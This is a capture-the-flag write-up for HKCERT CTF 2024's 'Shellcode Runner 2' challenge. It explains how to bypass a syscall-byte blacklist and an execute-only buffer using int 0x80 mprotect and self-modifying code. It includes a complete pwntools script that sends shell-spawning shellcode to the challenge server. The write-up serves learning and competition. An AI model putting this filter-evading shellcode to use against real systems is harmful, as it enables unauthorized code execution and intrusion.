# HKCERT CTF 2024 ## [pwn] Shellcode Runner 2 > Author: botton > Your favorite series of Shellcode runners is back! This time, we're not limiting you with any sandboxes. This should be an easy challenge...right? ### Background From the name, we can safely assume that we can inject arbitrary shell code to run in the binary. In fact, we can verify this is true by reverse engineering the binary. But of course there are a few constraints. 1. `blacklist` is called on the buffer, which bans any `0xf` byte in the payload. This means that `syscall`, which has opcode `0f 05`, cannot be used ||directly||. 2. `mprotect(buf, 0x64, 4)` is called on the buffer memory.`prot` is set to `4`, i.e. `PROT_EXEC`, means that we can only execute the shellcode but not read data from it. This blocks attempts to put the raw `/bin/sh` string in the shell code and use it through a pointer (plus there is no `/bin/sh` string in the binary). 3. ||Almost|| all registers are cleared before executing the shellcode. We cannot use the stack or find pointers to stack, libc or the binary.[^1] This prevents return-to-libc or ROP techniques. 4. Only 100 bytes is read into the buffer, so the shellcode must be no longer than 100 bytes. What will we do now? Of course, we follow the first commandment in `pwn`: > *If nothing rings a bell, pop a shell.* > -- me, 2024 We shall overcome the above constraints when crafting our shellcode to shell. TL;DR; The constraints on the payload: ``` 1. No syscall 2. No read/writes to memory 3. No execution of existing code ``` ### Techniques The first thing we should do is unlock the protection on the memory, since we cannot pop a shell without a `/bin/sh` (and `envp`) in memory. To do that we can use `mprotect`, but of course that itself is a syscall. We inevitably need to do a syscall under all the three constraints. To do that, I searched for alternatives to the `syscall` instruction. The only usable `syscall` alternative[^2] is `int 0x80` (software interrupt) in the i386 binary interface.[^3]. The intel x86_64 assembly still supports instructions from i386, and kernel syscall interface supports that as well. So, by putting the right values in the registers and calling `int 0x80`, we can perform an `mprotect` syscall to free our memory from read and write protections and have free leeway in our execution, specifically giving way to place our `/bin/sh` string and `envp`. ### Exploit After bypassing the restrictions the rest is almost cliche. However because I don't know how to write assembly, I opted to use the regular pop shell shellcode from `pwntools` and make modifications to make it work.[^4] This includes: 1. adding a `mprotect` syscall before shell exec 2. setting the stack pointer 3. make the shellcode self-modify the malformed `syscall` instruction to pass the `blacklist` filter. All it is left to do is send the shellcode. Solve script: ```python! from pwn import * exe = ELF('./chall') # libc = ELF('./libc.so.6') SHELLCODE = ''' /* call mprotect(0x13370000, 0x64, 7) */ mov rbx, rdi mov ecx, 0x64 mov edx, 7 /* rwx */ mov eax, 0x7d int 0x80 /* correct to syscall at the end */ add rbx, 0x56 /* **TODO: correct address */ add byte ptr [rbx], 1 /* setup stack for args */ add rbx, 0x6b mov rsp, rbx /* execve(path='/bin/sh', argv=['sh'], envp=0) */ /* push b'/bin///sh\x00' */ mov rax, 0x0068732f6e69622f push rax mov rdi, rsp /* push argument array ['sh\x00'] */ /* push b'sh\x00' */ push 0x1010101 ^ 0x6873 xor dword ptr [rsp], 0x1010101 xor esi, esi /* 0 */ push rsi /* null terminate */ mov rsi, 8 add rsi, rsp push rsi /* 'sh\x00' */ mov rsi, rsp xor edx, edx /* 0 */ /* call execve() */ mov rax, SYS_execve /* 0x3b */ syscall ''' context.binary = exe print(SHELLCODE) buf:bytes = asm(SHELLCODE) # patch syscall 0f --> 0e # buf = buf.replace(b'\x0f', b'\x0e') print(f'{buf} {len(buf)}') assert(buf.count(b'\x0f') == 1) buf = buf.replace(b'\x0f', b'\x0e') GDBSCRIPT = ''' bp main+364 contextwatch execute 'hexdump 0x13370000 0x70' ''' assert(len(buf) < 100) # r = exe.debug(gdbscript=GDBSCRIPT) r = remote("c49-shellcode-runner3.hkcert24.pwnable.hk", 1337, ssl=True) r.sendline(buf) r.interactive() ``` Flag: `hkcert24{y37_4n07h3r_5h3llc0d3_runn3r_bu7_w17h0u7_54ndb0x}` [^1]: I only discovered the other solution that leverages the `FS` register, which stores the executable base when writeups were posted. [^2]: `sysenter` is an alternative, but the opcode also has `0xf`. [^3]: Is this the reason why the mmap address is within 32-bits? [^4]: In hindsight simply pasting the i386 shellcode would be easier.